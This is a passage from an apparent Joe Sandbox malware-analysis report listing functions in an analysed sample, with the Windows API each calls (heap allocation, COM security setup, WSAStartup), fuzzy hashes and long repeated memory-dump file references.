Associated: 00000000.00000002.2754184967.0000000000662000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754208196.0000000000663000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_370000_iaLId0uLUw.jbxd

Similarity

API ID: ComputerName
String ID:
API String ID: 3545744682-0
Opcode ID: f44dfa2da33e20f371f588057bebfe7df52691411263466c440acc348068120e
Instruction ID: 2ff0e79c38db35325e1a812e68e4c0b928be2dafbb6d56e7d2ae4393edf6c9b1
Opcode Fuzzy Hash: f44dfa2da33e20f371f588057bebfe7df52691411263466c440acc348068120e
Instruction Fuzzy Hash: E7110AB06047918BD7268F24C861722BBE2BF4A304B1CC69DD497CB386CA34D841CB61

Function 003AE0A0 Relevance: 1.5, APIs: 1, Instructions: 31memoryCOMMON

Download Yara Rule

APIs

RtlReAllocateHeap.NTDLL(?,00000000), ref: 003AE0E0

Memory Dump Source

Source File: 00000000.00000002.2753026418.0000000000371000.00000040.00000001.01000000.00000003.sdmp, Offset: 00370000, based on PE: true

Associated: 00000000.00000002.2753001890.0000000000370000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753026418.00000000003B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753243745.00000000003C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753267792.00000000003CF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753288525.00000000003D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753310831.00000000003D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753407750.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753428617.000000000052E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753453479.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753453479.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753504987.000000000057C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753525417.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753547537.0000000000585000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753568645.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753594664.00000000005A5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753615451.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753636825.00000000005B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753657894.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753679133.00000000005B3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753702178.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753723290.00000000005BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753742031.00000000005C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753761958.00000000005CB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753780425.00000000005CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753798380.00000000005D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753825266.00000000005D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753851428.00000000005DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753902687.00000000005E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753929713.00000000005E1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753955342.00000000005E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753983371.00000000005F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754007940.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754007940.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754082876.000000000064C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754106585.000000000064D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754132285.000000000064E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754132285.0000000000654000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754184967.0000000000662000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754208196.0000000000663000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_370000_iaLId0uLUw.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: b238a3c14c4c3c92ca51f7a4d12cdc26cf109144fe443f2d7147a1f8fb519a42
Instruction ID: 30dca2dc94510cae9ba4f3e423bb35a765ff8f5c021b738b8da06e6407efba13
Opcode Fuzzy Hash: b238a3c14c4c3c92ca51f7a4d12cdc26cf109144fe443f2d7147a1f8fb519a42
Instruction Fuzzy Hash: 49F0E532824211FBC3136F39BD06B573AACEFC3720F050435F5049A120DF74E81686A1

Function 0037EC77 Relevance: 1.5, APIs: 1, Instructions: 29COMMON

Download Yara Rule

APIs

CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 0037ECA3

Memory Dump Source

Source File: 00000000.00000002.2753026418.0000000000371000.00000040.00000001.01000000.00000003.sdmp, Offset: 00370000, based on PE: true

Associated: 00000000.00000002.2753001890.0000000000370000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753026418.00000000003B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753243745.00000000003C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753267792.00000000003CF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753288525.00000000003D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753310831.00000000003D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753407750.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753428617.000000000052E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753453479.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753453479.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753504987.000000000057C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753525417.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753547537.0000000000585000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753568645.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753594664.00000000005A5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753615451.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753636825.00000000005B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753657894.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753679133.00000000005B3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753702178.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753723290.00000000005BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753742031.00000000005C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753761958.00000000005CB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753780425.00000000005CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753798380.00000000005D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753825266.00000000005D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753851428.00000000005DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753902687.00000000005E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753929713.00000000005E1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753955342.00000000005E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753983371.00000000005F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754007940.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754007940.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754082876.000000000064C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754106585.000000000064D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754132285.000000000064E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754132285.0000000000654000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754184967.0000000000662000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754208196.0000000000663000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_370000_iaLId0uLUw.jbxd

Similarity

API ID: InitializeSecurity
String ID:
API String ID: 640775948-0
Opcode ID: d91c17e35f79a691fcafa6dee464f931f3b7180aed4b129a1bcdba225a7cd5c8
Instruction ID: 0d51e02d64f8a453af2fe31d1bf6cd877df13cbd656773312318ad42215bc5a0
Opcode Fuzzy Hash: d91c17e35f79a691fcafa6dee464f931f3b7180aed4b129a1bcdba225a7cd5c8
Instruction Fuzzy Hash: FFE092343EA3427AF63AC2259CA3F26310A9B42F28E306B05B3213D3D4CAD03201824C

Function 003A0B2B Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 003A0B74

Memory Dump Source

Source File: 00000000.00000002.2753026418.0000000000371000.00000040.00000001.01000000.00000003.sdmp, Offset: 00370000, based on PE: true

Associated: 00000000.00000002.2753001890.0000000000370000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753026418.00000000003B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753243745.00000000003C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753267792.00000000003CF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753288525.00000000003D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753310831.00000000003D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753407750.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753428617.000000000052E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753453479.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753453479.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753504987.000000000057C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753525417.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753547537.0000000000585000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753568645.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753594664.00000000005A5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753615451.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753636825.00000000005B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753657894.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753679133.00000000005B3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753702178.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753723290.00000000005BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753742031.00000000005C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753761958.00000000005CB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753780425.00000000005CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753798380.00000000005D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753825266.00000000005D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753851428.00000000005DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753902687.00000000005E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753929713.00000000005E1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753955342.00000000005E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753983371.00000000005F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754007940.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754007940.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754082876.000000000064C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754106585.000000000064D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754132285.000000000064E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754132285.0000000000654000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754184967.0000000000662000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754208196.0000000000663000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_370000_iaLId0uLUw.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: 4041ea91e01f7b302c129502fa916a6d81ed47d8b12b456dc018a2cacc4da0c8
Instruction ID: 93c8452f941f91e374530c00c95c0b8aa25422c9d3ad581741c5ef479c60c9dc
Opcode Fuzzy Hash: 4041ea91e01f7b302c129502fa916a6d81ed47d8b12b456dc018a2cacc4da0c8
Instruction Fuzzy Hash: F6F0DAB4109701CFE345DF28D1A471ABBF4FB88308F10894CE5968B3A0CB75AA48CF82

Function 003A28EB Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 003A292F

Memory Dump Source

Source File: 00000000.00000002.2753026418.0000000000371000.00000040.00000001.01000000.00000003.sdmp, Offset: 00370000, based on PE: true

Associated: 00000000.00000002.2753001890.0000000000370000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753026418.00000000003B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753243745.00000000003C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753267792.00000000003CF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753288525.00000000003D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753310831.00000000003D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753407750.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753428617.000000000052E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753453479.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753453479.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753504987.000000000057C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753525417.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753547537.0000000000585000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753568645.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753594664.00000000005A5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753615451.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753636825.00000000005B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753657894.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753679133.00000000005B3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753702178.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753723290.00000000005BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753742031.00000000005C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753761958.00000000005CB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753780425.00000000005CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753798380.00000000005D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753825266.00000000005D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753851428.00000000005DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753902687.00000000005E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753929713.00000000005E1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753955342.00000000005E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753983371.00000000005F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754007940.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754007940.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754082876.000000000064C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754106585.000000000064D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754132285.000000000064E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754132285.0000000000654000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754184967.0000000000662000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754208196.0000000000663000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_370000_iaLId0uLUw.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: 847898bab323528f50e17540b1434b0b002485d0c68bb615ea9ba45d8f5d289e
Instruction ID: ed62dd7a27b43404427302a7816decceb686f6be49e7cab98b9bab2a5665330c
Opcode Fuzzy Hash: 847898bab323528f50e17540b1434b0b002485d0c68bb615ea9ba45d8f5d289e
Instruction Fuzzy Hash: 46F07A746083418FD315DF29C5A871BBBE4BB84308F00891DE5998B390C7B59549CF82

Function 00379EB7 Relevance: 1.5, APIs: 1, Instructions: 18networkCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32(00000202,?), ref: 00379ED2

Memory Dump Source

Source File: 00000000.00000002.2753026418.0000000000371000.00000040.00000001.01000000.00000003.sdmp, Offset: 00370000, based on PE: true

Associated: 00000000.00000002.2753001890.0000000000370000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753026418.00000000003B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753243745.00000000003C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753267792.00000000003CF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753288525.00000000003D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753310831.00000000003D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753407750.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753428617.000000000052E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753453479.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753453479.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753504987.000000000057C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753525417.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753547537.0000000000585000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753568645.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753594664.00000000005A5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753615451.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753636825.00000000005B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753657894.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753679133.00000000005B3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753702178.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753723290.00000000005BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753742031.00000000005C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753761958.00000000005CB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753780425.00000000005CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753798380.00000000005D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753825266.00000000005D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753851428.00000000005DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753902687.00000000005E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753929713.00000000005E1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753955342.00000000005E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753983371.00000000005F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754007940.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754007940.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754082876.000000000064C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754106585.000000000064D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754132285.000000000064E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754132285.0000000000654000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754184967.0000000000662000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754208196.0000000000663000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_370000_iaLId0uLUw.jbxd

Similarity

API ID: Startup
String ID:
API String ID: 724789610-0
Opcode ID: 03b6fa60a04ac8e4bfd96d2089a2805053e111edfd7abd332e28ef5ae645e81e
Instruction ID: 760bd4a18d8b605077a6e3e05046c176becd8ddf28043f397cfa913ff9cec466
Opcode Fuzzy Hash: 03b6fa60a04ac8e4bfd96d2089a2805053e111edfd7abd332e28ef5ae645e81e
Instruction Fuzzy Hash: 85E02B37680A029BD701EB70EC47F49339ADB16349B098528E309C5171EA7395109A10

Function 003AC570 Relevance: 1.5, APIs: 1, Instructions: 15memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(?,00000000,?,0037B0ED,?), ref: 003AC590

Memory Dump Source

Source File: 00000000.00000002.2753026418.0000000000371000.00000040.00000001.01000000.00000003.sdmp, Offset: 00370000, based on PE: true

Associated: 00000000.00000002.2753001890.0000000000370000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753026418.00000000003B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753243745.00000000003C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753267792.00000000003CF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753288525.00000000003D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753310831.00000000003D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753407750.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753428617.000000000052E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753453479.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753453479.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753504987.000000000057C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753525417.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753547537.0000000000585000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753568645.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753594664.00000000005A5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753615451.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753636825.00000000005B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753657894.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753679133.00000000005B3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753702178.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753723290.00000000005BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753742031.00000000005C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753761958.00000000005CB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753780425.00000000005CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753798380.00000000005D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753825266.00000000005D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753851428.00000000005DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753902687.00000000005E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753929713.00000000005E1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753955342.00000000005E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753983371.00000000005F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754007940.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754007940.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754082876.000000000064C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754106585.000000000064D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754132285.000000000064E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754132285.0000000000654000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754184967.0000000000662000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754208196.0000000000663000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_370000_iaLId0uLUw.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 88193e0145442046fa622dcac11a7cb9c9dfee48e4dd8a76ab9b6849f29272b8
Instruction ID: 803b1a0ddf131a861f3771c1813bbd5763987f18a22baf60a76af486f960c011
Opcode Fuzzy Hash: 88193e0145442046fa622dcac11a7cb9c9dfee48e4dd8a76ab9b6849f29272b8
